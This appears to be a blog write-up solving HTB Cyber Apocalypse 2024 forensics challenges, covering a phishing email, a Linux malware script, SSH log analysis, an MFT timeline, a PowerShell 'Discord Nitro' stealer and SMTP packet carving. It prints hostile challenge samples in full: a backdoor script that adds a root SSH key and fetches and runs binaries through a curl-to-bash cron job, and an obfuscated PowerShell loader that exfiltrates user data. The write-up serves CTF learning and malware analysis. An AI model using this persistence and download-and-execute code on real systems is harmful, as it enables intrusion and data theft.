InfoSec Write-ups

A collection of write-ups from the best hackers in the world on topics ranging from bug bounties and CTFs to vulnhub machines, hardware challenges and real life encounters. Subscribe to our weekly newsletter for the coolest infosec updates: https://weekly.infosecwriteups.com/

Follow publication

HTB Cyber Apocalypse CTF 2024 — Forensics

Abdul Issa
InfoSec Write-ups
Published in
17 min readMar 19, 2024
Forensics challenges
Forensics challenges

Forensic Challenges

Urgent

💡Solution

Contents of forensics_urgent.zip
Contents of forensics_urgent.zip
Email contents
Email contents

Definitely make sure you do this in a VM or a sandbox, seriously now…

Online form HTML file
Online form HTML file
Online form source code
Online form source code
CyberChef: Decode URL-encoded text
CyberChef: Decode URL-encoded text

It Has Begun

💡 Solution

#!/bin/sh

if [ "$HOSTNAME" != "KORP-STATION-013" ]; then
exit
fi

if [ "$EUID" -ne 0 ]; then
exit
fi

docker kill $(docker ps -q)
docker rm $(docker ps -a -q)

echo "ssh-rsa AAAAB4NzaC1yc2EAAAADAQABAAABAQCl0kIN33IJISIufmqpqg54D7s4J0L7XV2kep0rNzgY1S1IdE8HDAf7z1ipBVuGTygGsq+x4yVnxveGshVP48YmicQHJMCIljmn6Po0RMC48qihm/9ytoEYtkKkeiTR02c6DyIcDnX3QdlSmEqPqSNRQ/XDgM7qIB/VpYtAhK/7DoE8pqdoFNBU5+JlqeWYpsMO+qkHugKA5U22wEGs8xG2XyyDtrBcw10xz+M7U8Vpt0tEadeV973tXNNNpUgYGIFEsrDEAjbMkEsUw+iQmXg37EusEFjCVjBySGH3F+EQtwin3YmxbB9HRMzOIzNnXwCFaYU5JjTNnzylUBp/XB6B user@tS_u0y_ll1w{BTH" >> /root/.ssh/authorized_keysecho "nameserver 8.8.8.8" >> /etc/resolv.conf
echo "PermitRootLogin yes" >> /etc/ssh/sshd_config
echo "128.90.59.19 legions.korp.htb" >> /etc/hosts

for filename in /proc/*; do
ex=$(ls -latrh $filename 2> /dev/null|grep exe)
if echo $ex |grep -q "/var/lib/postgresql/data/postgres\|atlas.x86\|dotsh\|/tmp/systemd-private-\|bin/sysinit\|.bin/xorg\|nine.x86\|data/pg_mem\|/var/lib/postgresql/data/.*/memory\|/var/tmp/.bin/systemd\|balder\|sys/systemd\|rtw88_>
result=$(echo "$filename" | sed "s/\/proc\///")
kill -9 $result
echo found $filename $result
fi
done

ARCH=$(uname -m)
array=("
x86" "x86_64" "mips" "aarch64" "arm")

if [[ $(echo ${array[@]} | grep -o "$ARCH" | wc -w) -eq 0 ]]; then
exit
fi


cd /tmp || cd /var/ || cd /mnt || cd /root || cd etc/init.d || cd /; wget http://legions.korp.htb/0xda4.0xda4.$ARCH; chmod 777 0xda4.0xda4.$ARCH; ./0xda4.0xda4.$ARCH;
cd /tmp || cd /var/ || cd /mnt || cd /root || cd etc/init.d || cd /; tftp legions.korp.htb -c get 0xda4.0xda4.$ARCH; cat 0xda4.0xda4.$ARCH > DVRHelper; chmod +x *; ./DVRHelper $ARCH;
cd /tmp || cd /var/ || cd /mnt || cd /root || cd etc/init.d || cd /; busybox wget http://legions.korp.htb/0xda4.0xda4.$ARCH; chmod 777;./0xda4.0xda4.$ARCH;
echo "
*/5 * * * * root curl -s http://legions.korp.htb/0xda4.0xda4.$ARCH | bash -c 'NG5kX3kwdVJfR3IwdU5kISF9' " >> /etc/crontab

echo "tS_utS_u0y_ll1w{BTH" | rev
HTB{w1ll_y0u_St
echo 'NG5kX3kwdVJfR3IwdU5kISF9' | base64 -d
4nd_y0uR_Gr0uNd!!}

An Unusual Sighting

💡 Solution

Find IP and Port of the SSH server
Find the IP and Port of the SSH server
Search for successfully established sessions
Search for successfully established sessions
Searching the sshd.log file for started sessions
Searching the sshd.log file for started sessions
Searching the sshd.log for the attacker’s IP
Searching the sshd.log for the attacker's IP
Examine the bash_history for commands executed
Examine the bash_history for commands executed
Solutions and the Flag
Solutions and the Flag
from pwn import *
import time

context.log_level = 'ERROR'
io = remote("83.136.254.108", 37329) # Change IP and PORT

# Add 10 seconds delay for the welcome message to finish
# Add 3 seconds delay for the server to process response and send a new question
time.sleep(10)

io.sendlineafter(b"> ", b"100.107.36.130:2221")
time.sleep(3)

io.sendlineafter(b"> ", b"2024-02-13 11:29:50")
time.sleep(3)

io.sendlineafter(b"> ", b"2024-02-19 04:00:14")
time.sleep(3)

io.sendlineafter(b"> ", b"OPkBSs6okUKraq8pYo4XwwBg55QSo210F09FCe1-yj4")
time.sleep(3)

io.sendlineafter(b"> ", b"whoami")
time.sleep(3)

io.sendlineafter(b"> ", b"./setup")
time.sleep(3)

print(io.recv().decode())
python3 unusual2.py
[+] Correct!

[+] Here is the flag: HTB{B3sT_0f_luck_1n_th3_Fr4y!!} she

Pursue The Tracks

💡Solution

mftecmd.exe -f z.mft --csv mft_output.csv
Run MFTECmd tool to extract an MFT analysis report
Run MFTECmd tool to extract an MFT analysis report
Question 1: date range
Question 1: date range
Formatting Date and Time cells
Formatting Date and Time cells
Fixed Date and Time formats for the cells
Fixed Date and Time formats for the cells
First file created in 2023 folder
The first file created in the 2023 folder
Deleted file is also known as Inactive or not InUse file
The deleted file is also known as an Inactive or not InUse file
Created vs Last Modified date
Created vs Last Modified date
Solutions and the Flag

Fake Boost

💡Solution

Wireshark — Export HTTP Objects
Wireshark — Export HTTP Objects
$jozeq3n = "9ByXkACd1BHd19ULlRXaydFI7BCdjVmai9ULoNWYFJ3bGBCfgMXeltGJK0gNxACa0dmblxUZk92YtASNgMXZk92Qm9kclJWb15WLgMXZk92QvJHdp5EZy92YzlGRlRXYyVmbldEI9Ayc5V2akoQDiozc5V2Sg8mc0lmTgQmcvN2cpREIhM3clN2Y1NlIgQ3cvhULlRXaydlCNoQD9tHIoNGdhNmCN0nCNEGdhREZlRHc5J3YuVGJgkHZvJULgMnclRWYlhGJgMnclRWYlhULgQ3cvBFIk9Ga0VWTtACTSVFJgkmcV1CIk9Ga0VWT0NXZS1SZr9mdulEIgACIK0QfgACIgoQDnAjL18SYsxWa69WTnASPgcCduV2ZB1iclNXVnACIgACIgACIK0wJulWYsB3L0hXZ0dCI9AyJlBXeU1CduV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JK0gCN0nCNciNz4yNzUzLpJXYmF2UggDNuQjN44CMuETOvU2ZkVEIp82ajV2RgU2apxGIswUTUh0SoAiNz4yNzUzL0l2SiV2VlxGcwFEIpQjN4ByO0YjbpdFI7AjLwEDIU5EIzd3bk5WaXhCIw4SNvEGbslmev10Jg0DInQnbldWQtIXZzV1JgACIgoQDn42bzp2Lu9Wa0F2YpxGcwF2Jg0DInUGc5RVL05WZ052bDdCIgACIK0weABSPgMnclRWYlhGJK0gCN0nCNIyclxWam9mcQxFevZWZylmRcFGbslmev1EXn5WatF2byRiIg0DIng3bmVmcpZ0JgACIgoQDiUGbiFGdTBSYyVGcPxVZyF2d0Z2bTBSYyVGcPx1ZulWbh9mckICI9AyJhJXZw90JgACIgoQDiwFdsVXYmVGRcFGdhREIyV2cVxlclN3dvJnQtUmdhJnQcVmchdHdm92UlZXYyJEXsF2YvxGJiASPgcSZ2FmcCdCIgACIK0gI0xWdhZWZExVY0FGRgIXZzVFXl12byh2QcVGbn92bHxFbhN2bsRiIg0DInUWbvJHaDBSZsd2bvd0JgACIgoQD7BEI9AycoRXYwRiCNoQDiYmRDpleVRUT3h2MNZWNy0ESCp2YzUkaUZmT61UeaJTZDJlRTJCI9ASM0JXYwRiCNEEVBREUQFkO25WZkASPgcmbp1WYvJHJK0QQUFERQBVQMF0QPxkO25WZkASPgwWYj9GbkoQDK0gIu4iL05WZpRXYwBSZiBSZzFWZsBFIhMXeltGIvJHdp5GIkJ3bjNXaEByZulGdhJXZuV2RiACdz9GStUGdpJ3VK0gIgACIgACIgACIgACIgACIgACIgACIgACIgACIgACIgACIgACIgACIgACIgACIgACIgACIgACIgACIgACIgACIgACIgACIgACIgACIgACIgACIgACIgACIgACIgACIgACIgACIgACIgACIK0AIgACIgACIgACIgACIgACIgACIgACIgACIgACIgACIgACIgACIgACIgACIgACIgACIgACIgACIgACIgACIgACIgACIgACIgACIgACIgACIgACIgACIgACIgACIgACIgACIgACIgACIgAiCN8yX8BCIg8yXf91XfxFIv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vN0byRXaORmcvN2cpRUZ0Fmcl5WZHBibvlGdj5WdmpQDK0QfK0wcuV2avRHJg4mc1RXZyBCIgAiCNoQD9tHIoNGdhNGI9BCIgAiCN0HIgACIgACIgoQD9tHIoNGdhNGI9BCIgACIgACIgACIgoQD9BCIgACIgACIgACIgACIgAiCN0HIgACIgACIgACIgACIgACIgACIgoQDlVHbhZlLzVGajRXYN5yXkACIgACIgACIgACIgACIgACIgACIgACIgoQD7BCdjVmai9ULoNWYFJ3bGBCfgMXZoNGdh1EbsFULggXZnVmckAibyVGd0FGUtAyZulmc0NVL0NWZsV2UgwHI05WZ052bDVGbpZGJg0zKgMnblt2b0RCIgACIgACIgACIgACIgACIgACIgoQD7BSKpcSf1kDLwgzed1ydctlLcFmZtdCIscSfwETMsUjM71VL3x1WuwVf2sXXtcHXb5CX9ZjM71VL3x1WngCQg4WaggXZnVmckgCIoNWYlJ3bmBCIgACIgACIgACIgACIgAiCNoQDw9GdTBibvlGdjFkcvJncF1CI3FmUtASZtFmTsxWdG5yXkACa0FGUtACduVGdu92QtQXZHBSPgQnblRnbvNUZslmZkACIgACIgACIgACIgACIgAiCNsHI5JHdgACIgACIgACIgACIK0AIgACIgACIgACIgAiCNsHI0NWZqJ2Ttg2YhVkcvZEI8BSZjJ3bG1CIlNnc1NWZS1CIlxWaG1CIoRXYwRCIoRXYQ1CItVGdJRGbph2QtQXZHBCIgACIgACIK0wegknc0BCIgAiCNoQDpgCQg0DIz5WZr9GdkACIgAiCNoQDpACIgAiCNgGdhBHJddmbpJHdztFIgACIgACIgoQDoASbhJXYwBCIgAiCNsHIsFWZ0NFIu9Wa0Nmb1ZmCNoQDiEGZ3pWYrRmap9maxomczkDOxomcvADOwgjO1MTMuYTMx4CO2EjLykTMv8iOwRHdoJCI9ACTSVFJ" ;
$s0yAY2gmHVNFd7QZ = $jozeq3n.ToCharArray() ; [array]::Reverse($s0yAY2gmHVNFd7QZ) ; -join $s0yAY2gmHVNFd7QZ 2>&1> $null ;
$LOaDcODEoPX3ZoUgP2T6cvl3KEK = [sYSTeM.TeXt.ENcODING]::UTf8.geTSTRiNG([SYSTEm.cOnVeRT]::FRoMBaSe64sTRing("$s0yAY2gmHVNFd7QZ")) ;
$U9COA51JG8eTcHhs0YFxrQ3j = "Inv"+"OKe"+"-EX"+"pRe"+"SSI"+"On" ; New-alIaS -Name pWn -VaLuE $U9COA51JG8eTcHhs0YFxrQ3j -FoRcE ; pWn $lOADcODEoPX3ZoUgP2T6cvl3KEK ;
bEG+rGcRyYKeqlzXb0QVVRvFp5E9vmlSSG3pvDTAGoba05Uxvepwv++0uWe1Mn4LiIInZiNC/ES1tS7Smzmbc99Vcd9h51KgA5Rs1t8T55Er5ic4FloBzQ7tpinw99kC380WRaWcq1Cc8iQ6lZBP/yqJuLsfLTpSY3yIeSwq8Z9tusv5uWvd9E9V0Hh2Bwk5LDMYnywZw64hsH8yuE/u/lMvP4gb+OsHHBPcWXqdb4DliwhWwblDhJB4022UC2eEMI0fcHe1xBzBSNyY8xqpoyaAaRHiTxTZaLkrfhDUgm+c0zOEN8byhOifZhCJqS7tfoTHUL4Vh+1AeBTTUTprtdbmq3YUhX6ADTrEBi5gXQbSI5r1wz3r37A71Z4pHHnAoJTO0urqIChpBihFWfYsdoMmO77vZmdNPDo1Ug2jynZzQ/NkrcoNArBNIfboiBnbmCvFc1xwHFGL4JPdje8s3cM2KP2EDL3799VqJw3lWoFX0oBgkFi+DRKfom20XdECpIzW9idJ0eurxLxeGS4JI3n3jl4fIVDzwvdYr+h6uiBUReApqRe1BasR8enV4aNo+IvsdnhzRih+rpqdtCTWTjlzUXE0YSTknxiRiBfYttRulO6zx4SvJNpZ1qOkS1UW20/2xUO3yy76Wh9JPDCV7OMvIhEHDFh/F/jvR2yt9RTFId+zRt12Bfyjbi8ret7QN07dlpIcppKKI8yNzqB4FA==
$ sudo apt install powershell

$
pwsh

PowerShell 7.2.6
Copyright (c) Microsoft Corporation.

https://aka.ms/powershell
Type 'help' to get help.


┌──(cybersecmav㉿icedragon)
└─PS>
Deobfuscating the PowerShell script
Deobfuscating the PowerShell script
PS> echo $LOaDcODEoPX3ZoUgP2T6cvl3KEK
$URL = "http://192.168.116.135:8080/rj1893rj1joijdkajwda"

function Steal {
param (
[string]$path
)

--SNIP--

"
Write-Host "Generating Discord nitro keys! Please be patient..."

$
local = $env:LOCALAPPDATA
$roaming = $env:APPDATA
$part1 = "SFRCe2ZyMzNfTjE3cjBHM25fM3hwMDUzZCFf"

--SNIP--

$
AES_KEY = "Y1dwaHJOVGs5d2dXWjkzdDE5amF5cW5sYUR1SWVGS2k="
$payload = $userInfos | ConvertTo-Json -Depth 10
$encryptedData = Encrypt-String -key $AES_KEY -plaintext $payload

--SNIP--

Write-Host "Success! Discord Nitro Keys:"
$keys = GenerateDiscordNitroCodes -numberOfCodes 5 -codeLength 16
$keys | ForEach-Object { Write-Output $_ }

Flag part 1
Flag Part 1
echo "SFRCe2ZyMzNfTjE3cjBHM25fM3hwMDUzZCFf" | base64 -d                                                                                                                                                                            
HTB{fr33_N17r0G3n_3xp053d!_
echo "Y1dwaHJOVGs5d2dXWjkzdDE5amF5cW5sYUR1SWVGS2k=" | base64 -d
cWphrNTk9wgWZ93t19jayqnlaDuIeFKi
function Create-AesManagedObject($key, $IV, $mode) 
AES modes in the script
AES modes in the script

The key lesson here for a future Maverick to keep it simple!

CyberChef AES Decryption Recipe
CyberChef AES Decryption Recipe
echo "YjNXNHIzXzBmX1QwMF9nMDBkXzJfYjNfN3J1M18wZmYzcjV9" | base64 -d
b3W4r3_0f_T00_g00d_2_b3_7ru3_0ff3r5}

Phreaky

💡Solution

SMTP data
SMTP data
(smtp) && (data-text-lines)
Filter SMTP data
Filter SMTP data
(data-text-lines) && (smtp contains "Password")
Filtering by SMTP packets with the text “Password”
Filtering by SMTP packets with the text “Password”

Method 1: Using Network Miner

Network Miner examining the phreaky.pcap file
Network Miner examining the phreaky.pcap file
Network Miner examining the 15 mail attachments
Network Miner examining the 15 mail attachments
Email file opened in Outlook
Email file opened in Outlook
Unzip the attachment using the password from the same data packet
Unzip the attachment using the password from the same data packet
Tshark: Display all passwords in the SMTP data packets
Tshark: Display all passwords in the SMTP data packets
PDF file split into 15 parts
PDF file split into 15 parts

Method 2: Using Python and Scapy

from scapy.all import *

# Load the pcap file
packets = rdpcap("phreaky.pcap")

# Filter SMTP packets containing the word "Password"
filtered_packets = [pkt for pkt in packets if TCP in pkt and Raw in pkt and b"Password" in pkt[Raw].load]

# Extract data from filtered packets
email_content = []
for pkt in filtered_packets:
email_content.append(pkt[Raw].load)

# Print extracted email content
for idx, content in enumerate(email_content, start=1):
print(f"Packet {idx}:\n{content.decode('utf-8')}\n{'='*50}\n")
Using Scapy modules in Interactive Python session
Using Scapy modules in an Interactive Python session
CyberChef extracting the contents of the ZIP archive
CyberChef extracting the contents of the ZIP archive
$ ls | sort -V

phreaks_plan.pdf.part1
phreaks_plan.pdf.part2
phreaks_plan.pdf.part3
phreaks_plan.pdf.part4
phreaks_plan.pdf.part5
phreaks_plan.pdf.part6
phreaks_plan.pdf.part7
phreaks_plan.pdf.part8
phreaks_plan.pdf.part9
phreaks_plan.pdf.part10
phreaks_plan.pdf.part11
phreaks_plan.pdf.part12
phreaks_plan.pdf.part13
phreaks_plan.pdf.part14
phreaks_plan.pdf.part15
cat $(ls phreaks_plan.pdf.part* | sort -V) > phreaks_plan.pdf
$ ls -l               
total 64
-rw-r--r-- 1 cybersecmav cybersecmav 3302 Mar 19 12:46 phreaks_plan.pdf
Merged PDF parts amounted to 2-page PDF file
Merged PDFs amounted to 2-page PDF file
The flag is found on page 2 of the PDF

Conclusion

Free

Distraction-free reading. No ads.

Organize your knowledge with lists and highlights.

Tell your story. Find your audience.

Membership

Read member-only stories

Support writers you read most

Earn money for your writing

Listen to audio narrations

Read offline with the Medium app

Published in InfoSec Write-ups

A collection of write-ups from the best hackers in the world on topics ranging from bug bounties and CTFs to vulnhub machines, hardware challenges and real life encounters. Subscribe to our weekly newsletter for the coolest infosec updates: https://weekly.infosecwriteups.com/

Written by Abdul Issa

Penetration Tester, Linux Evangelist, Security Geek, Blogs about Ethical Hacking, CTF, Cybersecurity Career & Certifications. www.linkedin.com/in/abdul-issa

Responses (2)

Write a response